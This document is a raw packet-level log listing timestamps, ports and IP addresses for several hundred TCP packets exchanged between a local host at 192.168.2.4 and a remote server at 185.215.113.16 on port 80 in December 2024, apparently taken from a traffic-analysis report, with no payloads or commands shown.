Dec 27, 2024 15:04:24.145509005 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.145690918 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.145881891 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:24.146266937 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.187062025 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:24.227250099 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.227327108 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.227432013 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:24.227488041 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.227637053 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.227705002 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.227750063 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:24.228420973 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.228462934 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:24.228522062 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.229242086 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.229274988 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.229319096 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:24.230043888 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.230149031 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.230196953 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:24.230881929 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.230921984 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:24.230963945 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.231714010 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.231829882 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.231880903 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:24.232472897 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.232516050 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:24.232568026 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.233309031 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.233417034 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.233469009 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:24.234086037 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.234154940 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:24.234194040 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.234900951 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.234935999 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:24.234987974 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.235712051 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.235765934 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:24.235810995 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.236515999 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.236562014 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:24.236608982 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.237337112 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.237386942 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:24.237432957 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.238130093 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.238166094 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:24.238234997 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.238940954 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.238992929 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:24.239048004 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.239763975 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.239860058 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.239897013 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:24.240572929 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.240616083 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:24.240662098 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.241379023 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.241413116 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:24.241456985 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.242228985 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.242264032 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:24.242316008 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.243026018 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.243072033 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:24.243098021 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.243818045 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.243854046 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:24.243894100 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.244612932 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.244663000 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:24.244734049 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.245467901 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.245513916 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:24.245559931 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.246252060 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.246298075 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:24.246402979 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.247071981 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.247127056 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:24.247150898 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.247873068 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.247984886 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:24.248030901 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.248672962 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.248725891 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:24.248758078 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.249464989 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.249509096 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:24.249562025 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.250287056 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.250400066 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.250435114 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:24.251072884 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.251197100 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:24.251209974 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.251852989 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.251955032 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:24.262177944 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.262284040 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.262343884 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:24.262564898 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.290951967 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.290994883 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:24.291023970 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.291256905 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.291323900 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:24.322006941 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.322114944 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.322169065 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:24.322335958 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.322396994 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.322452068 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:24.348197937 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.348251104 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.348301888 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:24.349503040 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.349546909 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.349586964 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:24.349865913 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.351382971 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.351438999 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:24.351463079 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.351800919 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.351840973 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:24.351957083 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.352061033 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.352117062 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:24.352695942 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.352741003 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.352785110 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:24.353504896 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.353568077 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.353609085 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:24.354088068 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.354212046 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.354271889 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:24.354916096 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.355016947 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.355063915 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:24.355712891 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.355818987 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.355860949 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:24.356534958 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.356635094 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.356677055 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:24.357338905 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.357443094 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.357496023 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:24.358144045 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.358253002 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.358488083 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:24.358947039 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.359039068 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.359078884 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:24.386758089 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.386869907 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.386913061 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:24.387038946 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.415216923 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.415270090 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:24.415306091 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.415596008 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.415642023 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:24.446974993 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.447062969 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.447119951 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:24.447326899 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.447447062 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.447490931 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:24.447602034 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.448239088 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.448282003 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:24.473944902 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.474028111 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.474086046 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:24.474286079 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.475785017 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.475826025 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:24.475861073 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.476258993 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.476300001 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.476321936 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:24.476355076 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.476389885 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:24.477070093 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.477086067 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.477159977 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:24.477595091 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.477701902 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.477962971 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:24.478414059 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.478442907 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.478765011 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:24.479248047 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.479351997 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.479393005 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:24.480077982 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.480249882 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.480293036 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:24.481141090 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.481271982 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.481533051 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:24.481807947 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.481904984 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.481947899 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:24.482774973 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.482842922 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.482886076 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:24.483294010 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.483397007 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.483436108 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:24.484137058 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.511080027 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.511126041 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:24.511169910 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.511367083 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.511408091 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:24.539515972 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.539618969 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.539661884 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:24.539901972 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.539988995 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.540031910 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:24.571515083 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.571594000 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.571645021 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:24.571891069 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.571984053 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.572031021 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:24.572664976 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.603189945 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.603251934 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.603250027 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:24.603478909 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.603528976 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:24.625806093 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.625857115 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.625905991 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:24.784949064 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.784976006 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.785031080 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:24.785145998 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.785196066 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.785253048 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:24.785672903 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.785757065 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.785805941 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:24.786411047 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.792608023 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.792625904 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.792659044 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:24.792792082 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.792834044 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:24.792876959 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.793678045 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.793725967 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:24.793770075 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.794395924 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.794434071 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.794442892 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:24.821492910 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.821549892 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:24.821587086 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.821847916 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.821892977 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:24.821923018 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.822673082 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.822717905 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:24.822753906 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.823959112 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.824004889 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:24.824088097 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.824254036 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.824295998 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:24.824362040 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.825088024 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.825130939 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:24.825875044 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.825887918 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.825939894 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:24.826355934 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.826689959 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.826735020 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:24.826946020 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.827502966 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.827550888 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:24.827591896 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.828286886 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.828340054 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:24.828382015 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.829137087 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.829204082 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:24.829209089 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.829936981 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.829978943 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:24.830008984 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.830749989 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.830801010 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:24.830926895 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.831557989 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.831605911 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:24.831629992 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.832333088 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.832372904 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:24.832429886 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.833180904 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.833229065 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:24.833297968 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.833992004 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.834029913 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.834045887 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:24.852524042 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.852574110 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:24.852616072 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.852799892 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.852839947 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:24.857208014 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.857316017 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.857371092 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:24.857521057 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.860282898 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.860332966 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:24.860413074 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.860678911 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.860723972 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:24.860766888 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.861454964 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.861500025 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:24.865708113 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.865818024 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.865869999 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:24.866029024 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.866728067 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.866764069 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:24.866823912 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:24.867122889 CET	80	49743	185.215.113.16	192.168.2.4
